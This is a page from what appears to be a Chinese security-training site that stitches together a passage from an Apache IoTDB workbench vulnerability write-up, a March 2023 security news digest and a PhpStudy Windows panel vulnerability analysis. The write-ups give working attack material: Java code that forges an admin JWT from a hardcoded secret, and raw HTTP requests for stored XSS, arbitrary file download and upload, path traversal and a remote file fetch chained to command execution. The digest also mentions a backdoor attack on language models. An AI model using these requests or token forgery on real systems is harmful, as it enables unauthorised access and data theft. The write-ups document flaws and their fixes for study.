编译成功之后,再次执行发现了问题仍然存在,还是相同的错误类型。后来无论怎么修改 backend 目录下对应的 Dockerfile 文件,仍然无法成功。最后发现是因为没有修改根目录中的 docker-compose.yml ,下载的仍然是有问题的镜像,没有去调用编译本地的镜像。
进到 backend 目录下 修改 Dockerfile 文件 删除掉 "${JAVA_MEM_OPTS}"
执行 docker build -t test:v1 . 编译镜像。
编译之后,将 docker-compose.yml 中的 apache/iotdb-web-workbench:0.13.0-backend 替换为 test:v1
再执行 docker-compose up -d
访问 http://127.0.0.1:8081/#/login
环境如此就搭建好了,但是在实际中利用的话,还是建议不要使用 docker ,而是单独编译前端后端。
漏洞复现
构造数据包请求保存用户时
提示没有登录。
创建一个 java 项目:
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.Date;
public class iotdb_CreateToken {
private static String secret =
"HSyJ0eXAiOiJKV1QasdfffffffSd3g8923402347523fffasdfasgwaegwaegawegawegawegawetwgewagagew"
+ "asdf23r23DEEasdfawef134t2fawt2g325gafasdfasdfiLCJhbGciOiJIUzI1NiJ9";
public static String generateToken(String username) {
Date now = new Date();
// Calendar instance = Calendar.getInstance();
// instance.add(Calendar.HOUR_OF_DAY, 24);
Date expireDate = new Date(new Date().getTime() + (1000 * 60 * 60 * 10));
return Jwts.builder()
.setHeaderParam("type", "JWT")
.setSubject(0 + "")
.setIssuedAt(now) // 签发时间
.claim("userId", 1)
.claim("name", username)
.setExpiration(expireDate) // 过期时间
.signWith(SignatureAlgorithm.HS512, secret)
.compact();
}
public static void main(String[] args) {
String token = generateToken("admin");
System.out.println(token);
}
}
将生成的 Token 加入到之前的数据包中。
创建用户成功,尝试登录。
POST /api/login?name=test&password=123456 HTTP/1.1
Host: 127.0.0.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 4
{
}
登录成功。
漏洞分析
org.apache.iotdb.admin.filter.TokenFilter#preHandle
在 TokenFilter 中 JJwtTool.getClaimsByToken(authorization); 从请求头中获取 token 并解析匹配
org.apache.iotdb.admin.controller.UserController#login
我们发现 token 的来源是因为登录成功后会根据用户来生成 token JJwtTool.generateToken(user)
org.apache.iotdb.admin.tool.JJwtTool#generateToken
生成 Token 的相关参数均是可控的,所以我们可以自己构造。
网络安全日报 2023年03月28日
1、研究人员发布APT37新恶意软件传播技术分析
https://thehackernews.com/2023/03/scarcrufts-evolving-arsenal-researchers.html ScarCruft(也称为APT37)是一个高级持续性威胁组织,近期使用Microsoft CHM文件传播新的恶意软件。研究人员指出,该组织在不断改进其技术以规避检测。除了恶意软件分发之外,ScarCruft还通过网络钓鱼攻击多个电子邮件和云服务。
2、GhostSec黑客组织针对卫星接收器发起攻击
https://blog.cyble.com/2023/03/27/ghostsec-targeting-satellite-receivers/ 卫星和太空行业的组织和设备已经成为国家关键基础设施的重要组成部分,也面临着日益增加的网络威胁。黑客和勒索软件组开始瞄准该行业,并可能利用漏洞和数据泄漏来获得未经授权的访问和干扰通信。在最近被发现以卫星接收器为目标的GhostSec等黑客组织的参与下。CRIL 研究人员认为,公共和私人实体合作以保护对航天工业的威胁已变得至关重要。
3、Emotet利用伪造的W-9税单进行钓鱼攻击
https://www.bleepingcomputer.com/news/security/emotet-malware-distributed-as-fake-w-9-tax-forms-from-the-irs/ Emotet恶意软件最新的钓鱼攻击伪装成W-9税单,利用带有嵌入式脚本的Microsoft OneNote文件进行分发。一旦感染,恶意软件将窃取受害者的电子邮件,并安装其他恶意软件。安全工程师建议用户不要打开来自未知发送者的电子邮件,避免启用Word附件中的宏。
4、Apple 修复了影响旧款设备的 CVE-2023-23529 零日漏洞
https://securityaffairs.com/144114/hacking/cve-2023-23529-apple-zero-day.html Apple 发布了安全补丁的更新,解决了旧款 iPhone 和 iPad 上被积极利用的 CVE-2023-23529 WebKit 零日漏洞。
5、新的 MacStealer macOS 恶意软件出现在地下网络犯罪中
https://securityaffairs.com/144099/malware/macstealer-macos-malware.html Uptycs 研究人员团队发现了一种新的 macOS 信息窃取程序,称为 MacStealer,允许操作员从受感染的系统中窃取 iCloud Keychain 数据和密码。
6、Twitter 源代码在Github上泄露
Cyberkendra 网站披露,推特最近遭遇了一次罕见的源代码泄露事件,一份法律文件显示推特部分源代码在网上曝光。
https://www.freebuf.com/news/361710.html 7、Pwn2Own 2023落幕,冠军斩获超50万美元奖金
本届Pwn2Own于3月22日-3月24日在加拿大温哥华举办,参赛者主要围绕汽车、企业应用程序和通信、服务器、虚拟化和本地特权升级 (EoP)等类别进行挑战。最终,本届比赛的冠军队伍花落Synacktiv,他们以绝对优势斩获53万美元奖金和53个Master of Pwn 积分,还获赠了一辆特斯拉Model 3。
8、研究人员分享利用语言风格向AI语言模型植入隐蔽后门的攻击
https://securityboulevard.com/2023/03/usenix-security-22-xudong-pan-mi-zhang-beina-sheng-jiaming-zhu-min-yang-hidden-trigger-backdoor-attack-on-nlp-models-via-linguistic-style-manipulation/ 这篇论文研究了深度神经网络(DNN)在自然语言处理(NLP)领域中的后门(木马)攻击漏洞。此类攻击会修改DNN,使其在攻击者指定的输入下表现出预期的行为(即触发器)。先前的研究使用特别添加的单词/短语作为触发器模式(即
9、研究人员披露活跃的新勒索组织Dark Power
https://www.darkreading.com/vulnerabilities-threats/dark-power-ransomware-extorts-10-targets-less-than-a-month 新生的勒索软件组织横空出世,在不到一个月的时间里攻破了至少10个组织。该小组被 Trellix 研究人员命名为“Dark Power”——在大多数方面与其他组织一样的勒索软件团体。该勒索软件加密速度快并采用 Nim 编程语言编写。
10、Bitter APT黑客组织针对中国核能行业
https://www.bleepingcomputer.com/news/security/bitter-espionage-hackers-target-chinese-nuclear-energy-orgs 最近发现一个被追踪为“Bitter APT”的网络间谍黑客组织以中国核能行业为目标,使用网络钓鱼电子邮件感染带有恶意软件下载程序的设备。Bitter 是一个疑似南亚黑客组织,以亚太地区能源、工程和政府部门的知名组织为目标。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
小皮Windows web面板漏洞详解
漏洞简介
PhpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。小皮 Windows web 面板存在存储型 xss 漏洞,结合后台计划任务即可实现 RCE。
影响版本
因为我一边测试一边写文章,但是我发现下载下的新版本的已经添加了过滤,但是并没有更新日志。
环境搭建
从官网下载 小皮 windows 面板安装包
https://www.xp.cn/windows-panel.html
安装完成后会有一个初始信息文本,记录了小皮面板的登录地址以及账号密码。
漏洞复现
绕过随机码
我们注意到小皮面板后台默认开放在 9080 端口,后台登录 url 地址中会存在一个随机码,不添加随机码时返回信息为 404。
在程序中全局搜索和 404 相关的字样定位到 service/httpServer/Workerman/WebServer.php
当添加请求头 X-Requested-With: XMLHttpRequest 就可以绕过随机码。
存储型 XSS
我们在用户登录处的用户名插入弹窗 XSS 代码 验证是否存在漏洞。
<script>alert("xss")</script>
利用正确的用户名密码登录查看。
我们发现成功的触发了存储型 xss。
我们查看登录时的数据包
service/app/account.php
\Account::login
\Socket::request
将信息保存起来,登录平台后会自动获取一次日志信息。
service/app/log.php
后台计划任务
我们注意到后台有计划任务模块。
所以可以直接通过构造计划任务实现 RCE。
添加任务 -> 添加 shell 脚本 -> 构造 shell 脚本内容 -> 执行 shell 脚本
成功执行命令。
结合原本的存储型 XSS,可以直接获取管理员的 Cookie 值然后实现后台计划任务命令执行,或者直接通过 js 文件实现类似 CSRF + 后台计划任务命令执行。
任意文件下载
构造数据包
GET /service/app/files.php?type=download&file=L3Rlc3QudHh0 HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
file 的值是 base64 编码后的 /test.txt 成功读取文件内容。
service/app/files.php
文件下载通过 get 获取文件名,通过 base64 解码获取,没有校验,所以可以实现任意文件下载。
任意代码执行
构造数据包
POST /service/app/files.php?type=download_remote_file HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
url=aHR0cDovLzE5Mi4xNjguMjIyLjE6ODAwMC8xLnR4dA==&download_to_file_folder=&newfilename=testing.txt
url 是 base64 编码的 http://192.168.222.1:8000/1.txt
python2 -m SimpleHTTPServer 8000 #在本地开启 http 服务
service/app/files.php
通过 url 获取远程的下载地址,download_to_file_folder 指定下载文件文件夹,newfilename 指定保存文件的文件名。
任意文件上传
构造数据包
POST /service/app/files.php?type=file_upload HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Length: 288
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file_path"
/
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file"; filename="testing1.txt"
Content-type: image/jpg
qweqwe
------WebKitFormBoundaryE0tFhmmng2vwxftT--
service/app/files.php
任意文件上传二
构造数据包
POST /service/app/files.php?type=save_file_contents HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
file_path=/&file_name=test2.txt&txt_file_contents=qwerqwer
service/app/files.php
根据通过 post 传入的值 file_path 指定保存文件目录 file_name 指定文件保存名字 txt_file_contents 指定文件保存内容,未作任何过滤,可实现任意文件上传。
任意文件上传三
构造数据包
POST /service/app/databases.php?type=file_add HTTP/1.1
Host: 192.168.222.139:9080
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://192.168.222.139:9080/C292CA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9c53f8f8c903d9412a3f0211
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Length: 312
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="parent_dir"
../../../../../../../../
------WebKitFormBoundaryE0tFhmmng2vwxftT
Content-Disposition: form-data; name="file"; filename="testing2.txt"
Content-type: image/jpg
qweqwe
------WebKitFormBoundaryE0tFhmmng2vwxftT--
service/app/databases.php
漏洞修复
在登录处添加了校验。
对传入的文件名的长度进行校验,同时对传入的字符串进行了 htmlspecialchars 处理。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

